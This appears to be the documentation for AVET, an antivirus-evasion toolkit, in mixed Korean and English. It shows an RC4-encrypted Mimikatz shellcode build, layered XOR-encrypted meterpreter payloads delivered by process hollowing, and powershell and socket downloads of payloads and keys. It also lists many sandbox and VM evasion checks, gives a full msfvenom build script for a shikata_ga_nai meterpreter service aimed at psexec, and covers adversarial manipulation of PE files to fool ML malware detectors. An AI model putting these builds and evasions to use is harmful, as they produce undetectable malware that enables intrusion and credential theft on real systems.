avet

안티바이러스 우회 도구

Which Script would you like to configure and build? Enter the corresponding number -> 43

DESCRIPTION :

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

Configure the Build Script

enable debug output

-> enable_debug_print

generate key file with preset key

-> generate_key preset aabbccdd1122

Do you want to add sandbox evasions? [y/N] -> N

Executable will be created Shortly please wait.

*** ============================================= ***

--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /

|\ __ |\ \ / /|\ \ |_ \ \ \ |\ \ \ \ / / | \ _ |__|\ _| \ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _ \ \ \ \ _\ _\ _/ / \ _\ \ __
||||||/ |___| ||

*** ============================================= ***

Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

Your executable should be in the output folder!

You can define default LHOST and LPORT values for metasploit payloads in the /build/global_connect_config.sh file, which are used if you don't redefine.

Usage examples

Generate a 32-bit process hollowing executable in two steps (as in build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh):

First, generate the hollowing payload with AVET:

• generate meterpreter/reverse_https 32-bit shellcode
• the meterpreter shellcode will be XOR encrypted with a 5-byte preset key
• the shellcode will be compiled into the generated executable
• fopen and gethostbyname sandbox evasion environmental checks will be made before executing the shellcode

Second, build the "dropper" executable that delivers the first step payload via hollowing:

• statically compile the first step payload into the executable
• the payload will be XOR encrypted with a different 5-byte preset key
• again, fopen and gethostbyname sandbox evasion environmental checks will be made before hollowing
• the hollowing target PID will be delivered via command line argument on execution time

So you get a two-layer environmental-checked and encrypted meterpreter payload, hollowed into a process of your choice. While the settings in the build script are mostly for demonstration purposes, there is a lot of flexibility to customize your generated executable by making simple modifications to the build script.

You could switch out data retrieval methods: Instead of statically compiling most data into the executable, you could download your hollowing payload via powershell, download the decryption key via sockets, use different encryption or environmental checks, etc.

Or try to add more evasion layers by doing a third build iteration. Or switch out the payload. Want to use Mimikatz instead? Convert it into shellcode via https://github.com/hasherezade/pe_to_shellcode, and change the payload in the build script.

Of course, you can also design more minimalistic builds, like executing unencrypted shellcode with only one environmental check, or maybe 50 iterations of shikata are enough to reach your goal? Choose/modify the build scripts, suiting your needs.

Build scripts

Below, find a list of all currently shipped build scripts. The names should hint at each script's functionality. For detailed information, consider the comments inside the scripts. Feel free to modify/write your own build scripts to build your custom executable!

문서

데이터 검색 방법

이 메서드들은 AVET의 모든 데이터 소스와 호환되며, 빌드 스크립트에서 그대로 사용할 수 있습니다.

몇 가지 예시:```

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd

Download 64-bit shellcode via powershell, and execute.

set_payload_source download_powershell set_payload_execution_method exec_shellcode64

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

set_key_source download_socket set_decoder xor

Retrieves the tuple (target PID, dll path) from command line on execution

set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll

static_from_file

데이터는 파일에서 가져온 후 생성된 실행 파일에 정적으로 컴파일됩니다. 이 기능이 작동하려면 컴파일 시 데이터가 C 스타일 배열(c-style array) 형식으로 제공되어야 합니다. 예를 들어,``` unsigned char buf[] = "\x00\x11\x22\x33";

또한 shellcode를 더 이상 인코딩하지 않고 인코딩 기능을 건너뛸 수 있으며, 다음을 설정합니다:``` set_key_source no_data set_decoder none

sleep

실행 전에 일정 시간 동안 대기합니다. 지속 시간(초)은 빌드 스크립트에서 다음과 같이```

sleep for 3 seconds

add_evasion evasion_by_sleep 3

check fast forwarding

샌드박스가 휴리스틱 검사 시간을 줄이기 위해 fast forwarding을 활용하는지 확인합니다. 로컬 시간과 sleep이 사용됩니다.``` add_evasion check_fast_forwarding

Username

사용자 이름을 가져오고 주어진 사용자 이름과 비교합니다. 일치하지 않으면 종료합니다.``` add_evasion has_username 'IEUser'

getchar

getchar를 사용하여 입력이 전달될 때까지 기다립니다.``` add_evasion interaction_getchar

fopen

파일의 존재 여부를 확인합니다. 찾을 수 없으면 실행을 중지합니다. 파일 이름은 빌드 스크립트에서 지정할 수 있습니다, 예를 들어``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'

gethostbyname

선택한 호스트 이름을 확인하려고 시도합니다. gethostbyname이 NULL이 아닌 값을 반환하면 실행을 중지합니다. 확인할 호스트 이름은 빌드 스크립트에서 지정할 수 있습니다. 예를 들어,``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'

has_vm_mac

공급업체 특정 MAC 접두사를 확인합니다. 식별되면 실행을 중지합니다.``` add_evasion has_vm_mac

hide_console

실제로 회피 기법은 아니지만, 콘솔 창을 숨깁니다 ;)``` add_evasion hide_console

프로세스 수

실행 중인 프로세스 수를 세십시오. 프로세스 수가 주어진 임계값보다 작으면 실행을 중지합니다.``` add_evasion get_num_processes 50

Domain

대상이 속한 DNS 도메인을 조회합니다. 대상이 지정된 예상 도메인에 속하지 않으면 프로그램이 종료됩니다.``` add_evasion get_computer_domain 'domain.com'

Timed Fibonacci

지정된 시간(초) 후에 피보나치 계산을 중지합니다.```

Stops computation after 20 seconds

add_evasion computation_timed_fibonacci 20

폴더 확인:``` add_evasion has_folder 'C:/Users/user/Downloads/'

휴지통 확인``` add_evasion has_recycle_bin

네트워크 드라이브 확인``` add_evasion has_network_drive

Helper tools

data_raw_to_c

파일에서 원시 데이터를 입력으로 받아 C-배열 형식으로 변환하고 다른 파일로 출력을 기록합니다. 이는 static_from_file 데이터 검색 방법에 대해 올바른 형식을 제공하는 데 도움이 됩니다.

generate_key

키 생성 유틸리티입니다. (암호화되지 않은) 무작위 키를 생성하거나 사전 설정된 키를 입력으로 받아 원시 키 데이터를 지정된 파일로 출력합니다. 이는 AVET 암호화 기능에 키 자료를 제공하는 데 도움이 됩니다.

sh_format

AVET 1.3의 유틸리티로 AVET 인코딩을 수행합니다.

AVET & metasploit psexec

AVET은 metasploit의 psexec 모듈과 호환됩니다. 이를 위해 생성된 실행 파일은 Windows 서비스로 컴파일되어야 하며, 이는 avetsvc.c를 사용하여 구현됩니다. 해당 예제 빌드 스크립트를 참고하세요.

build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash

Designed for use with msf psexec module!

print AVET logo

cat banner.txt

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

. build/global_win32.sh

import global default lhost and lport values from build/global_connect_config.sh

. build/global_connect_config.sh

override connect-back settings here, if necessary

LPORT=$GLOBAL_LPORT

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt

import feature construction interface

. build/feature_construction.sh

add evasion techniques

add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'

generate key file

generate_key preset aabbcc12de input/key_raw.txt

encode shellcode

encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt

array name buf is expected by static_from_file retrieval method

./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf

no command preexec

set_command_source no_data set_command_exec no_command

set shellcode source

set_payload_source static_from_file input/scenc_c.txt

convert generated key from raw to C into array "key"

./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key

set key source

set_key_source static_from_file input/key_c.txt

set payload info source

set_payload_info_source no_data

set decoder

set_decoder xor

set shellcode binding technique

set_payload_execution_method exec_shellcode

enable debug printing

enable_debug_print to_file C:/avetdbg.txt

compile as service

$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe

cleanup

cleanup_techniques

적대적 예제

적대적 예제는 기계 학습 모델을 오분류로 이끌기 위해 특별히 조작된 입력입니다.

이 방법을 사용하려면 가상 환경을 만들고 requirements.txt에서 필요한 종속성을 설치하십시오.

실용적 조작

PE 파일을 위한 다섯 가지 기능 유지 조작이 가능합니다:

랜덤 바이트가 주입된 악성코드에 실용적 조작을 적용하려면 gen_adversarial_exe 명령어 뒤에 실용적 조작의 이름과 파일 경로를 매개변수로 사용하십시오. 사용 가능한 조작은 full_dos, extend, shift, padding, section_injection입니다.

예를 들어:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe

가능한 옵션:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection